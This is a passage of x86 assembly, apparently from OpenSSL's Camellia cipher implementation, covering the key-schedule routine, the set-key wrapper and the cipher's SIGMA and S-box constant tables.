je $L0081st128
mov eax,DWORD PTR 16[esi]
mov ebx,DWORD PTR 20[esi]
cmp ebp,192
je $L0091st192
mov ecx,DWORD PTR 24[esi]
mov edx,DWORD PTR 28[esi]
jmp $L0101st256
ALIGN 4
$L0091st192:
mov ecx,eax
mov edx,ebx
not ecx
not edx
ALIGN 4
$L0101st256:
bswap eax
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR 32[edi],eax
mov DWORD PTR 36[edi],ebx
mov DWORD PTR 40[edi],ecx
mov DWORD PTR 44[edi],edx
xor eax,DWORD PTR [edi]
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
ALIGN 4
$L0081st128:
call $L011pic_point
$L011pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L011pic_point)[ebp]
lea edi,DWORD PTR ($LCamellia_SIGMA-$LCamellia_SBOX)[ebp]
mov esi,DWORD PTR [edi]
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],edx
xor eax,esi
xor ebx,DWORD PTR 4[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 12[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 8[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 8[edi]
xor edx,ecx
mov DWORD PTR 12[esp],edx
xor ecx,ebx
mov DWORD PTR 8[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 12[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 4[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR [esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 16[edi]
xor ebx,eax
mov DWORD PTR 4[esp],ebx
xor eax,edx
mov DWORD PTR [esp],eax
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov esi,DWORD PTR 44[esp]
xor eax,DWORD PTR [esi]
xor ebx,DWORD PTR 4[esi]
xor ecx,DWORD PTR 8[esi]
xor edx,DWORD PTR 12[esi]
mov esi,DWORD PTR 16[edi]
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],edx
xor eax,esi
xor ebx,DWORD PTR 20[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 12[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 8[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 24[edi]
xor edx,ecx
mov DWORD PTR 12[esp],edx
xor ecx,ebx
mov DWORD PTR 8[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 28[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 4[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR [esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 32[edi]
xor ebx,eax
mov DWORD PTR 4[esp],ebx
xor eax,edx
mov DWORD PTR [esp],eax
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov esi,DWORD PTR 36[esp]
cmp esi,128
jne $L0122nd256
mov edi,DWORD PTR 44[esp]
lea edi,DWORD PTR 128[edi]
mov DWORD PTR [edi-112],eax
mov DWORD PTR [edi-108],ebx
mov DWORD PTR [edi-104],ecx
mov DWORD PTR [edi-100],edx
mov ebp,eax
shl eax,15
mov esi,ebx
shr esi,17
shl ebx,15
or eax,esi
mov esi,ecx
shl ecx,15
mov DWORD PTR [edi-80],eax
shr esi,17
or ebx,esi
shr ebp,17
mov esi,edx
shr esi,17
mov DWORD PTR [edi-76],ebx
shl edx,15
or ecx,esi
or edx,ebp
mov DWORD PTR [edi-72],ecx
mov DWORD PTR [edi-68],edx
mov ebp,eax
shl eax,15
mov esi,ebx
shr esi,17
shl ebx,15
or eax,esi
mov esi,ecx
shl ecx,15
mov DWORD PTR [edi-64],eax
shr esi,17
or ebx,esi
shr ebp,17
mov esi,edx
shr esi,17
mov DWORD PTR [edi-60],ebx
shl edx,15
or ecx,esi
or edx,ebp
mov DWORD PTR [edi-56],ecx
mov DWORD PTR [edi-52],edx
mov ebp,eax
shl eax,15
mov esi,ebx
shr esi,17
shl ebx,15
or eax,esi
mov esi,ecx
shl ecx,15
mov DWORD PTR [edi-32],eax
shr esi,17
or ebx,esi
shr ebp,17
mov esi,edx
shr esi,17
mov DWORD PTR [edi-28],ebx
shl edx,15
or ecx,esi
or edx,ebp
mov ebp,eax
shl eax,15
mov esi,ebx
shr esi,17
shl ebx,15
or eax,esi
mov esi,ecx
shl ecx,15
mov DWORD PTR [edi-16],eax
shr esi,17
or ebx,esi
shr ebp,17
mov esi,edx
shr esi,17
mov DWORD PTR [edi-12],ebx
shl edx,15
or ecx,esi
or edx,ebp
mov DWORD PTR [edi-8],ecx
mov DWORD PTR [edi-4],edx
mov ebp,ebx
shl ebx,2
mov esi,ecx
shr esi,30
shl ecx,2
or ebx,esi
mov esi,edx
shl edx,2
mov DWORD PTR 32[edi],ebx
shr esi,30
or ecx,esi
shr ebp,30
mov esi,eax
shr esi,30
mov DWORD PTR 36[edi],ecx
shl eax,2
or edx,esi
or eax,ebp
mov DWORD PTR 40[edi],edx
mov DWORD PTR 44[edi],eax
mov ebp,ebx
shl ebx,17
mov esi,ecx
shr esi,15
shl ecx,17
or ebx,esi
mov esi,edx
shl edx,17
mov DWORD PTR 64[edi],ebx
shr esi,15
or ecx,esi
shr ebp,15
mov esi,eax
shr esi,15
mov DWORD PTR 68[edi],ecx
shl eax,17
or edx,esi
or eax,ebp
mov DWORD PTR 72[edi],edx
mov DWORD PTR 76[edi],eax
mov ebx,DWORD PTR [edi-128]
mov ecx,DWORD PTR [edi-124]
mov edx,DWORD PTR [edi-120]
mov eax,DWORD PTR [edi-116]
mov ebp,ebx
shl ebx,15
mov esi,ecx
shr esi,17
shl ecx,15
or ebx,esi
mov esi,edx
shl edx,15
mov DWORD PTR [edi-96],ebx
shr esi,17
or ecx,esi
shr ebp,17
mov esi,eax
shr esi,17
mov DWORD PTR [edi-92],ecx
shl eax,15
or edx,esi
or eax,ebp
mov DWORD PTR [edi-88],edx
mov DWORD PTR [edi-84],eax
mov ebp,ebx
shl ebx,30
mov esi,ecx
shr esi,2
shl ecx,30
or ebx,esi
mov esi,edx
shl edx,30
mov DWORD PTR [edi-48],ebx
shr esi,2
or ecx,esi
shr ebp,2
mov esi,eax
shr esi,2
mov DWORD PTR [edi-44],ecx
shl eax,30
or edx,esi
or eax,ebp
mov DWORD PTR [edi-40],edx
mov DWORD PTR [edi-36],eax
mov ebp,ebx
shl ebx,15
mov esi,ecx
shr esi,17
shl ecx,15
or ebx,esi
mov esi,edx
shl edx,15
shr esi,17
or ecx,esi
shr ebp,17
mov esi,eax
shr esi,17
shl eax,15
or edx,esi
or eax,ebp
mov DWORD PTR [edi-24],edx
mov DWORD PTR [edi-20],eax
mov ebp,ebx
shl ebx,17
mov esi,ecx
shr esi,15
shl ecx,17
or ebx,esi
mov esi,edx
shl edx,17
mov DWORD PTR [edi],ebx
shr esi,15
or ecx,esi
shr ebp,15
mov esi,eax
shr esi,15
mov DWORD PTR 4[edi],ecx
shl eax,17
or edx,esi
or eax,ebp
mov DWORD PTR 8[edi],edx
mov DWORD PTR 12[edi],eax
mov ebp,ebx
shl ebx,17
mov esi,ecx
shr esi,15
shl ecx,17
or ebx,esi
mov esi,edx
shl edx,17
mov DWORD PTR 16[edi],ebx
shr esi,15
or ecx,esi
shr ebp,15
mov esi,eax
shr esi,15
mov DWORD PTR 20[edi],ecx
shl eax,17
or edx,esi
or eax,ebp
mov DWORD PTR 24[edi],edx
mov DWORD PTR 28[edi],eax
mov ebp,ebx
shl ebx,17
mov esi,ecx
shr esi,15
shl ecx,17
or ebx,esi
mov esi,edx
shl edx,17
mov DWORD PTR 48[edi],ebx
shr esi,15
or ecx,esi
shr ebp,15
mov esi,eax
shr esi,15
mov DWORD PTR 52[edi],ecx
shl eax,17
or edx,esi
or eax,ebp
mov DWORD PTR 56[edi],edx
mov DWORD PTR 60[edi],eax
mov eax,3
jmp $L013done
ALIGN 16
$L0122nd256:
mov esi,DWORD PTR 44[esp]
mov DWORD PTR 48[esi],eax
mov DWORD PTR 52[esi],ebx
mov DWORD PTR 56[esi],ecx
mov DWORD PTR 60[esi],edx
xor eax,DWORD PTR 32[esi]
xor ebx,DWORD PTR 36[esi]
xor ecx,DWORD PTR 40[esi]
xor edx,DWORD PTR 44[esi]
mov esi,DWORD PTR 32[edi]
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],edx
xor eax,esi
xor ebx,DWORD PTR 36[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 12[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 8[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 40[edi]
xor edx,ecx
mov DWORD PTR 12[esp],edx
xor ecx,ebx
mov DWORD PTR 8[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 44[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 4[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR [esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 48[edi]
xor ebx,eax
mov DWORD PTR 4[esp],ebx
xor eax,edx
mov DWORD PTR [esp],eax
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov edi,DWORD PTR 44[esp]
lea edi,DWORD PTR 128[edi]
mov DWORD PTR [edi-112],eax
mov DWORD PTR [edi-108],ebx
mov DWORD PTR [edi-104],ecx
mov DWORD PTR [edi-100],edx
mov ebp,eax
shl eax,30
mov esi,ebx
shr esi,2
shl ebx,30
or eax,esi
mov esi,ecx
shl ecx,30
mov DWORD PTR [edi-48],eax
shr esi,2
or ebx,esi
shr ebp,2
mov esi,edx
shr esi,2
mov DWORD PTR [edi-44],ebx
shl edx,30
or ecx,esi
or edx,ebp
mov DWORD PTR [edi-40],ecx
mov DWORD PTR [edi-36],edx
mov ebp,eax
shl eax,30
mov esi,ebx
shr esi,2
shl ebx,30
or eax,esi
mov esi,ecx
shl ecx,30
mov DWORD PTR 32[edi],eax
shr esi,2
or ebx,esi
shr ebp,2
mov esi,edx
shr esi,2
mov DWORD PTR 36[edi],ebx
shl edx,30
or ecx,esi
or edx,ebp
mov DWORD PTR 40[edi],ecx
mov DWORD PTR 44[edi],edx
mov ebp,ebx
shl ebx,19
mov esi,ecx
shr esi,13
shl ecx,19
or ebx,esi
mov esi,edx
shl edx,19
mov DWORD PTR 128[edi],ebx
shr esi,13
or ecx,esi
shr ebp,13
mov esi,eax
shr esi,13
mov DWORD PTR 132[edi],ecx
shl eax,19
or edx,esi
or eax,ebp
mov DWORD PTR 136[edi],edx
mov DWORD PTR 140[edi],eax
mov ebx,DWORD PTR [edi-96]
mov ecx,DWORD PTR [edi-92]
mov edx,DWORD PTR [edi-88]
mov eax,DWORD PTR [edi-84]
mov ebp,ebx
shl ebx,15
mov esi,ecx
shr esi,17
shl ecx,15
or ebx,esi
mov esi,edx
shl edx,15
mov DWORD PTR [edi-96],ebx
shr esi,17
or ecx,esi
shr ebp,17
mov esi,eax
shr esi,17
mov DWORD PTR [edi-92],ecx
shl eax,15
or edx,esi
or eax,ebp
mov DWORD PTR [edi-88],edx
mov DWORD PTR [edi-84],eax
mov ebp,ebx
shl ebx,15
mov esi,ecx
shr esi,17
shl ecx,15
or ebx,esi
mov esi,edx
shl edx,15
mov DWORD PTR [edi-64],ebx
shr esi,17
or ecx,esi
shr ebp,17
mov esi,eax
shr esi,17
mov DWORD PTR [edi-60],ecx
shl eax,15
or edx,esi
or eax,ebp
mov DWORD PTR [edi-56],edx
mov DWORD PTR [edi-52],eax
mov ebp,ebx
shl ebx,30
mov esi,ecx
shr esi,2
shl ecx,30
or ebx,esi
mov esi,edx
shl edx,30
mov DWORD PTR 16[edi],ebx
shr esi,2
or ecx,esi
shr ebp,2
mov esi,eax
shr esi,2
mov DWORD PTR 20[edi],ecx
shl eax,30
or edx,esi
or eax,ebp
mov DWORD PTR 24[edi],edx
mov DWORD PTR 28[edi],eax
mov ebp,ecx
shl ecx,2
mov esi,edx
shr esi,30
shl edx,2
or ecx,esi
mov esi,eax
shl eax,2
mov DWORD PTR 80[edi],ecx
shr esi,30
or edx,esi
shr ebp,30
mov esi,ebx
shr esi,30
mov DWORD PTR 84[edi],edx
shl ebx,2
or eax,esi
or ebx,ebp
mov DWORD PTR 88[edi],eax
mov DWORD PTR 92[edi],ebx
mov ecx,DWORD PTR [edi-80]
mov edx,DWORD PTR [edi-76]
mov eax,DWORD PTR [edi-72]
mov ebx,DWORD PTR [edi-68]
mov ebp,ecx
shl ecx,15
mov esi,edx
shr esi,17
shl edx,15
or ecx,esi
mov esi,eax
shl eax,15
mov DWORD PTR [edi-80],ecx
shr esi,17
or edx,esi
shr ebp,17
mov esi,ebx
shr esi,17
mov DWORD PTR [edi-76],edx
shl ebx,15
or eax,esi
or ebx,ebp
mov DWORD PTR [edi-72],eax
mov DWORD PTR [edi-68],ebx
mov ebp,ecx
shl ecx,30
mov esi,edx
shr esi,2
shl edx,30
or ecx,esi
mov esi,eax
shl eax,30
mov DWORD PTR [edi-16],ecx
shr esi,2
or edx,esi
shr ebp,2
mov esi,ebx
shr esi,2
mov DWORD PTR [edi-12],edx
shl ebx,30
or eax,esi
or ebx,ebp
mov DWORD PTR [edi-8],eax
mov DWORD PTR [edi-4],ebx
mov DWORD PTR 64[edi],edx
mov DWORD PTR 68[edi],eax
mov DWORD PTR 72[edi],ebx
mov DWORD PTR 76[edi],ecx
mov ebp,edx
shl edx,17
mov esi,eax
shr esi,15
shl eax,17
or edx,esi
mov esi,ebx
shl ebx,17
mov DWORD PTR 96[edi],edx
shr esi,15
or eax,esi
shr ebp,15
mov esi,ecx
shr esi,15
mov DWORD PTR 100[edi],eax
shl ecx,17
or ebx,esi
or ecx,ebp
mov DWORD PTR 104[edi],ebx
mov DWORD PTR 108[edi],ecx
mov edx,DWORD PTR [edi-128]
mov eax,DWORD PTR [edi-124]
mov ebx,DWORD PTR [edi-120]
mov ecx,DWORD PTR [edi-116]
mov ebp,eax
shl eax,13
mov esi,ebx
shr esi,19
shl ebx,13
or eax,esi
mov esi,ecx
shl ecx,13
mov DWORD PTR [edi-32],eax
shr esi,19
or ebx,esi
shr ebp,19
mov esi,edx
shr esi,19
mov DWORD PTR [edi-28],ebx
shl edx,13
or ecx,esi
or edx,ebp
mov DWORD PTR [edi-24],ecx
mov DWORD PTR [edi-20],edx
mov ebp,eax
shl eax,15
mov esi,ebx
shr esi,17
shl ebx,15
or eax,esi
mov esi,ecx
shl ecx,15
mov DWORD PTR [edi],eax
shr esi,17
or ebx,esi
shr ebp,17
mov esi,edx
shr esi,17
mov DWORD PTR 4[edi],ebx
shl edx,15
or ecx,esi
or edx,ebp
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
mov ebp,eax
shl eax,17
mov esi,ebx
shr esi,15
shl ebx,17
or eax,esi
mov esi,ecx
shl ecx,17
mov DWORD PTR 48[edi],eax
shr esi,15
or ebx,esi
shr ebp,15
mov esi,edx
shr esi,15
mov DWORD PTR 52[edi],ebx
shl edx,17
or ecx,esi
or edx,ebp
mov DWORD PTR 56[edi],ecx
mov DWORD PTR 60[edi],edx
mov ebp,ebx
shl ebx,2
mov esi,ecx
shr esi,30
shl ecx,2
or ebx,esi
mov esi,edx
shl edx,2
mov DWORD PTR 112[edi],ebx
shr esi,30
or ecx,esi
shr ebp,30
mov esi,eax
shr esi,30
mov DWORD PTR 116[edi],ecx
shl eax,2
or edx,esi
or eax,ebp
mov DWORD PTR 120[edi],edx
mov DWORD PTR 124[edi],eax
mov eax,4
$L013done:
lea edx,DWORD PTR 144[edi]
add esp,16
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_Ekeygen ENDP
ALIGN 16
_Camellia_set_key PROC PUBLIC
$L_Camellia_set_key_begin::
push ebx
mov ecx,DWORD PTR 8[esp]
mov ebx,DWORD PTR 12[esp]
mov edx,DWORD PTR 16[esp]
mov eax,-1
test ecx,ecx
jz $L014done
test edx,edx
jz $L014done
mov eax,-2
cmp ebx,256
je $L015arg_ok
cmp ebx,192
je $L015arg_ok
cmp ebx,128
jne $L014done
ALIGN 4
$L015arg_ok:
push edx
push ecx
push ebx
call $L_Camellia_Ekeygen_begin
add esp,12
mov DWORD PTR [edx],eax
xor eax,eax
ALIGN 4
$L014done:
pop ebx
ret
_Camellia_set_key ENDP
ALIGN 64
$LCamellia_SIGMA::
DD 2694735487,1003262091,3061508184,1286239154,3337565999,3914302142,1426019237,4057165596,283453434,3731369245,2958461122,3018244605,0,0,0,0
ALIGN 64
$LCamellia_SBOX::
DD 1886416896,1886388336
DD 2189591040,741081132
DD 741092352,3014852787
DD 3974949888,3233808576
DD 3014898432,3840147684
DD 656877312,1465319511
DD 3233857536,3941204202
DD 3857048832,2930639022
DD 3840205824,589496355
DD 2240120064,1802174571
DD 1465341696,1162149957
DD 892679424,2779054245
DD 3941263872,3991732461
DD 202116096,1330577487
DD 2930683392,488439837
DD 1094795520,2459041938
DD 589505280,2256928902
DD 4025478912,2947481775
DD 1802201856,2088501372
DD 2475922176,522125343
DD 1162167552,1044250686
DD 421075200,3705405660
DD 2779096320,1583218782
DD 555819264,185270283
DD 3991792896,2795896998
DD 235802112,960036921
DD 1330597632,3587506389
DD 1313754624,1566376029
DD 488447232,3654877401
DD 1701143808,1515847770
DD 2459079168,1364262993
DD 3183328512,1819017324
DD 2256963072,2341142667
DD 3099113472,2593783962
DD 2947526400,4227531003
DD 2408550144,2964324528
DD 2088532992,1953759348
DD 3958106880,724238379
DD 522133248,4042260720
DD 3469659648,2223243396
DD 1044266496,3755933919
DD 808464384,3419078859
DD 3705461760,875823156
DD 1600085760,1987444854
DD 1583242752,1835860077
DD 3318072576,2846425257
DD 185273088,3520135377
DD 437918208,67371012
DD 2795939328,336855060
DD 3789676800,976879674
DD 960051456,3739091166
DD 3402287616,286326801
DD 3587560704,842137650
DD 1195853568,2627469468
DD 1566399744,1397948499
DD 1027423488,4075946226
DD 3654932736,4278059262
DD 16843008,3486449871
DD 1515870720,3284336835
DD 3604403712,2054815866
DD 1364283648,606339108
DD 1448498688,3907518696
DD 1819044864,1616904288
DD 1296911616,1768489065
DD 2341178112,2863268010
DD 218959104,2694840480
DD 2593823232,2711683233
DD 1717986816,1650589794
DD 4227595008,1414791252
DD 3435973632,505282590
DD 2964369408,3772776672
DD 757935360,1684275300
DD 1953788928,269484048
DD 303174144,0
DD 724249344,2745368739
DD 538976256,1970602101
DD 4042321920,2324299914
DD 2981212416,3873833190
DD 2223277056,151584777
DD 2576980224,3722248413
DD 3755990784,2273771655
DD 1280068608,2206400643
DD 3419130624,3452764365
DD 3267543552,2425356432
DD 875836416,1936916595
DD 2122219008,4143317238
DD 1987474944,2644312221
DD 84215040,3216965823
DD 1835887872,1381105746
DD 3082270464,3638034648
DD 2846468352,3368550600
DD 825307392,3334865094
DD 3520188672,2172715137
DD 387389184,1869545583
DD 67372032,320012307
DD 3621246720,1667432547
DD 336860160,3924361449
DD 1482184704,2812739751
DD 976894464,2677997727
DD 1633771776,3166437564
DD 3739147776,690552873
DD 454761216,4193845497
DD 286331136,791609391
DD 471604224,3031695540
DD 842150400,2021130360
DD 252645120,101056518
DD 2627509248,3890675943
DD 370546176,1903231089
DD 1397969664,3570663636
DD 404232192,2880110763
DD 4076007936,2290614408
DD 572662272,2374828173
DD 4278124032,1920073842
DD 1145324544,3115909305
DD 3486502656,4177002744
DD 2998055424,2896953516
DD 3284386560,909508662
DD 3048584448,707395626
DD 2054846976,1010565180
DD 2442236160,4059103473
DD 606348288,1077936192
DD 134744064,3553820883
DD 3907577856,3149594811
DD 2829625344,1128464451
DD 1616928768,353697813
DD 4244438016,2913796269
DD 1768515840,2004287607
DD 1347440640,2155872384
DD 2863311360,2189557890
DD 3503345664,3974889708
DD 2694881280,656867367
DD 2105376000,3856990437
DD 2711724288,2240086149
DD 2307492096,892665909
DD 1650614784,202113036
DD 2543294208,1094778945
DD 1414812672,4025417967
DD 1532713728,2475884691
DD 505290240,421068825
DD 2509608192,555810849
DD 3772833792,235798542
DD 4294967040,1313734734
DD 1684300800,1701118053
DD 3537031680,3183280317
DD 269488128,3099066552
DD 3301229568,2408513679
DD 0,3958046955
DD 1212696576,3469607118
DD 2745410304,808452144
DD 4160222976,1600061535
DD 1970631936,3318022341
DD 3688618752,437911578
DD 2324335104,3789619425
DD 50529024,3402236106
DD 3873891840,1195835463
DD 3671775744,1027407933
DD 151587072,16842753
DD 1061109504,3604349142
DD 3722304768,1448476758
DD 2492765184,1296891981
DD 2273806080,218955789
DD 1549556736,1717960806
DD 2206434048,3435921612
DD 33686016,757923885
DD 3452816640,303169554
DD 1246382592,538968096
DD 2425393152,2981167281
DD 858993408,2576941209
DD 1936945920,1280049228
DD 1734829824,3267494082
DD 4143379968,2122186878
DD 4092850944,84213765
DD 2644352256,3082223799
DD 2139062016,825294897
DD 3217014528,387383319
DD 3806519808,3621191895
DD 1381126656,1482162264
DD 2610666240,1633747041
DD 3638089728,454754331
DD 640034304,471597084
DD 3368601600,252641295
DD 926365440,370540566
DD 3334915584,404226072
DD 993737472,572653602
DD 2172748032,1145307204
DD 2526451200,2998010034
DD 1869573888,3048538293
DD 1263225600,2442199185
DD 320017152,134742024
DD 3200171520,2829582504
DD 1667457792,4244373756
DD 774778368,1347420240
DD 3924420864,3503292624
DD 2038003968,2105344125
DD 2812782336,2307457161
DD 2358021120,2543255703
DD 2678038272,1532690523
DD 1852730880,2509570197
DD 3166485504,4294902015
DD 2391707136,3536978130
DD 690563328,3301179588
DD 4126536960,1212678216
DD 4193908992,4160159991
DD 3065427456,3688562907
DD 791621376,50528259
DD 4261281024,3671720154
DD 3031741440,1061093439
DD 1499027712,2492727444
DD 2021160960,1549533276
DD 2560137216,33685506
DD 101058048,1246363722
DD 1785358848,858980403
DD 3890734848,1734803559
DD 1179010560,4092788979
DD 1903259904,2139029631
DD 3132799488,3806462178
DD 3570717696,2610626715
DD 623191296,640024614
DD 2880154368,926351415
DD 1111638528,993722427
DD 2290649088,2526412950
DD 2728567296,1263206475
DD 2374864128,3200123070
DD 4210752000,774766638
DD 1920102912,2037973113
DD 117901056,2357985420
DD 3115956480,1852702830
DD 1431655680,2391670926
DD 4177065984,4126474485
DD 4008635904,3065381046
DD 2896997376,4261216509
DD 168430080,1499005017
DD 909522432,2560098456
DD 1229539584,1785331818
DD 707406336,1178992710
DD 1751672832,3132752058
DD 1010580480,623181861
DD 943208448,1111621698
DD 4059164928,2728525986
DD 2762253312,4210688250
DD 1077952512,117899271
DD 673720320,1431634005
DD 3553874688,4008575214
DD 2071689984,168427530
DD 3149642496,1229520969
DD 3385444608,1751646312
DD 1128481536,943194168
DD 3250700544,2762211492
DD 353703168,673710120
DD 3823362816,2071658619
DD 2913840384,3385393353
DD 4109693952,3250651329
DD 2004317952,3823304931
DD 3351758592,4109631732
DD 2155905024,3351707847
DD 2661195264,2661154974
DD 14737632,939538488
DD 328965,1090535745
DD 5789784,369104406
DD 14277081,1979741814
DD 6776679,3640711641
DD 5131854,2466288531
DD 8487297,1610637408
DD 13355979,4060148466
DD 13224393,1912631922
DD 723723,3254829762
DD 11447982,2868947883
DD 6974058,2583730842
DD 14013909,1962964341
DD 1579032,100664838
DD 6118749,1459640151
DD 8553090,2684395680
DD 4605510,2432733585
DD 14671839,4144035831
DD 14079702,3036722613
DD 2565927,3372272073
DD 9079434,2717950626
DD 3289650,2348846220
DD 4934475,3523269330
DD 4342338,2415956112
DD 14408667,4127258358
DD 1842204,117442311
DD 10395294,2801837991
DD 10263708,654321447
DD 3815994,2382401166
DD 13290186,2986390194
DD 2434341,1224755529
DD 8092539,3724599006
DD 855309,1124090691
DD 7434609,1543527516
DD 6250335,3607156695
DD 2039583,3338717127
DD 16316664,1040203326
DD 14145495,4110480885
DD 4079166,2399178639
DD 10329501,1728079719
DD 8158332,520101663
DD 6316128,402659352
DD 12171705,1845522030
DD 12500670,2936057775
DD 12369084,788541231
DD 9145227,3791708898
DD 1447446,2231403909
DD 3421236,218107149
DD 5066061,1392530259
DD 12829635,4026593520
DD 7500402,2617285788
DD 9803157,1694524773
DD 11250603,3925928682
DD 9342606,2734728099
DD 12237498,2919280302
DD 8026746,2650840734
DD 11776947,3959483628
DD 131586,2147516544
DD 11842740,754986285
DD 11382189,1795189611
DD 10658466,2818615464
DD 11316396,721431339
DD 14211288,905983542
DD 10132122,2785060518
DD 1513239,3305162181
DD 1710618,2248181382
DD 3487029,1291865421
DD 13421772,855651123
DD 16250871,4244700669
DD 10066329,1711302246
DD 6381921,1476417624
DD 5921370,2516620950
DD 15263976,973093434
DD 2368548,150997257
DD 5658198,2499843477
DD 4210752,268439568
DD 14803425,2013296760
DD 6513507,3623934168
DD 592137,1107313218
DD 3355443,3422604492
DD 12566463,4009816047
DD 10000536,637543974
DD 9934743,3842041317
DD 8750469,1627414881
DD 6842472,436214298
DD 16579836,1056980799
DD 15527148,989870907
DD 657930,2181071490
DD 14342874,3053500086
DD 7303023,3674266587
DD 5460819,3556824276
DD 6447714,2550175896
DD 10724259,3892373736
DD 3026478,2332068747
DD 526344,33554946
DD 11513775,3942706155
DD 2631720,167774730
DD 11579568,738208812
DD 7631988,486546717
DD 12763842,2952835248
DD 12434877,1862299503
DD 3552822,2365623693
DD 2236962,2281736328
DD 3684408,234884622
DD 6579300,419436825
DD 1973790,2264958855
DD 3750201,1308642894
DD 2894892,184552203
DD 10921638,2835392937
DD 3158064,201329676
DD 15066597,2030074233
DD 4473924,285217041
DD 16645629,2130739071
DD 8947848,570434082
DD 10461087,3875596263
DD 6645093,1493195097
DD 8882055,3774931425
DD 7039851,3657489114
DD 16053492,1023425853
DD 2302755,3355494600
DD 4737096,301994514
DD 1052688,67109892
DD 13750737,1946186868
DD 5329233,1409307732
DD 12632256,805318704
DD 16382457,2113961598
DD 13816530,3019945140
DD 10526880,671098920
DD 5592405,1426085205
DD 10592673,1744857192
DD 4276545,1342197840
DD 16448250,3187719870
DD 4408131,3489714384
DD 1250067,3288384708
DD 12895428,822096177
DD 3092271,3405827019
DD 11053224,704653866
DD 11974326,2902502829
DD 3947580,251662095
DD 2829099,3389049546
